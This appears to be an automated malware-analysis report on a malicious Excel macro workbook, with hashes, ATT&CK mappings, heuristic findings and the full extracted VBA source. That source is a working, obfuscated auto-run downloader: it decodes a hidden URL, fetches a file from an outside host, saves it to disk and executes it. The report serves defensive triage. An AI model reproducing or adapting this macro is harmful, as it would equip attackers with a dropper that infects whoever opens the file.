Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 4cd298a3197f1283…

MALICIOUS

Office (OOXML) / .XLSM

142.9 KB Created: 2026-04-02 06:26:39 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2026-06-09
MD5: 0959ee1e998eae665e502999937152cd SHA-1: bc4a7f821e73fef5c1913b4c7b3ca5d246a2dfe6 SHA-256: 4cd298a3197f1283ef907976ac01b387dc9a44c93432c3a900ba511f48c03523
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an XLSM file containing VBA macros. Critical heuristics indicate the use of WScript.Shell and CreateObject, along with a critical finding that VBA downloads and writes a file to disk using HTTP .ResponseBody and .SaveToFile. The Workbook_Open macro is present, suggesting automatic execution upon opening. No specific family could be identified, but the techniques strongly suggest a downloader.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set ThygfJmd = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ZrsNOXvdGVCIckZFABzEpipTugwzCuTwbLGvPGxKVEDrdEbnBjAmqQECwOLiEdifqtIefoytWmFYsncHQRPUFyFkxwMQSKkzrcJ = rAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwkrOJnpVpvDsXhiglIPWANMdhjbAPHsZc.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ThygfJmd = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7498 bytes
SHA-256: d331582562ffccf8520b0b7a1d0f56255b5e1a863ec54537836c56e401a50bad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
    Public Function FhgwmogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDpt(SGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLp)
        PfjmeCRKucfzcgurZnMMowIlEkHZzZlfxhDnyDALdrzAJidFHouNVLrmnlqbipFhgwmogFiMKthBsjxHqpddEMY = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        BUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNkGflhsvKghrAvYoHcupfK = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For t = 1 To Len(SGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLp)
            STRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLprXsxFvbkkinKRYDPPfjmeCRKucfzcgur = InStr(PfjmeCRKucfzcgurZnMMowIlEkHZzZlfxhDnyDALdrzAJidFHouNVLrmnlqbipFhgwmogFiMKthBsjxHqpddEMY, Mid(SGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLp, t, 1))
            If STRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLprXsxFvbkkinKRYDPPfjmeCRKucfzcgur > 0 Then
                ZnMMowIlEkHZzZlfxhDnyDALdrzAJidFHouNVLrmnlqbipFhgwmogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQb = Mid(BUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNkGflhsvKghrAvYoHcupfK, STRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLprXsxFvbkkinKRYDPPfjmeCRKucfzcgur, 1)
                yfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLO = yfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLO + ZnMMowIlEkHZzZlfxhDnyDALdrzAJidFHouNVLrmnlqbipFhgwmogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQb
            Else
                yfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLO = yfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLO + Mid(SGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLp, t, 1)
            End If
        Next
        FhgwmogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDpt = yfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNkGflhsvKghrAvYoHcupfKSTRWIBInzyOSVMmBueLO
    End Function

Private Sub Workbook_Open()
Dim vdGVCIckZFABzEpipTugwzCuTwbLGvPGxKVEDrdEbnBjAmqQECwOLiEdifqtIefoytWmFYsncHQRPUFyFkxwMQSKkzrc As Integer
vdGVCIckZFABzEpipTugwzCuTwbLGvPGxKVEDrdEbnBjAmqQECwOLiEdifqtIefoytWmFYsncHQRPUFyFkxwMQSKkzrc = Chr(50) + Chr(48) + Chr(48)
  Dim ThygfJmd As Object
    Dim SpecialPath As String

    Set ThygfJmd = CreateObject("WScript.Shell")
    SpecialPath = ThygfJmd.SpecialFolders("Recent")
Dim xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOXvdGVCIck
Dim ZrsNOXvdGVCIckZFABzEpipTugwzCuTwbLGvPGxKVEDrdEbnBjAmqQECwOLiEdifqtIefoytWmFYsncHQRPUFyFkxwMQSKkzrcJ
Dim rcJLgINcmGTHtUrqRzQDHhHSMfcyUtlhtJYuirOJnpVpvDsXhiglIPWANMdhjbAPHsZcxZesoWlJKluGjCiFX
Dim oHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLprXsxFvbkkinKRYDP
Dim mogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNk
Dim xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOX As Integer
Dim rAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwkrOJnpVpvDsXhiglIPWANMdhjbAPHsZc
Dim ZFABzEpipTugwzCuTwbLGvPGxKVEDrdEbnBjAmqQECwOLiEdifqtIefoytWmFYsncHQRPUFyFkxwMQSKkz
xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOX = 1

Range("A1").Value = "Espere por favor...."


Set rAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwkrOJnpVpvDsXhiglIPWANMdhjbAPHsZc = CreateObject("microsoft.xmlhttp")
Set mogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNk = CreateObject("Shell.Application")

oHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLprXsxFvbkkinKRYDP = SpecialPath + FhgwmogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDpt("\GäàãäQââå.ÂÛÂ")
rAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwkrOJnpVpvDsXhiglIPWANMdhjbAPHsZc.Open "get", FhgwmogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDpt("hÖÖÓÕ://mÅÒlÂdglÄÅ.ÖÒÓ/ÁgÄ-ÁÒÅÖÂÅÖÕ/ÙÄzbÃzgbzÕÂvdbÕÔÃÅÃÕÂÔvvÃhbÔjvÔÅbÂgjÅgbvÃÅÂÂvÃÃgwmvÅÃ/ÂhÃbÕdÃ.ÂÛÂ"), False
rAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwkrOJnpVpvDsXhiglIPWANMdhjbAPHsZc.send
ZrsNOXvdGVCIckZFABzEpipTugwzCuTwbLGvPGxKVEDrdEbnBjAmqQECwOLiEdifqtIefoytWmFYsncHQRPUFyFkxwMQSKkzrcJ = rAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwkrOJnpVpvDsXhiglIPWANMdhjbAPHsZc.responseBody
If rAvYoHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwkrOJnpVpvDsXhiglIPWANMdhjbAPHsZc.Status = 200 Then
Set xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOXvdGVCIck = CreateObject("adodb.stream")
xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOXvdGVCIck.Open
xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOXvdGVCIck.Type = xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOX
xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOXvdGVCIck.Write ZrsNOXvdGVCIckZFABzEpipTugwzCuTwbLGvPGxKVEDrdEbnBjAmqQECwOLiEdifqtIefoytWmFYsncHQRPUFyFkxwMQSKkzrcJ
xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOXvdGVCIck.SaveToFile oHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLprXsxFvbkkinKRYDP, xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOX + xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOX
xXjdveBlvBxJZpwyHfZDFmsLTJpkkjoYgnDedtjmeCgKIqfzqhuEonbbBKWzSyVoAomgyvRBLRNZrsNOXvdGVCIck.Close
End If
mogFiMKthBsjxHqpddEMYBUAYqCqoiAxTDOUQctuPQbyfIXEKemcHCDBGrlsVxiyCEwVydNJxSIzNXGGtgGdqElDptSGEyQNk.Open (oHcupfKSTRWIBInzyOSVMmBueLOjLPeoJWJwWtsUCTFJjJUOheAWvnjvMbwktQLprXsxFvbkkinKRYDP)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22528 bytes
SHA-256: 5b09cdadfba91e1afc99e66ff1740352b8c1acb2e6f03f0c4cb21a3f11f8f002
Detection
ClamAV: No threats found
Obfuscation or payload: likely
131 of 229 identifiers look randomly generated (e.g. 'xNQTLkzscKMhJOcmHUIuVsrSARDHiHSMfczUtmit') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.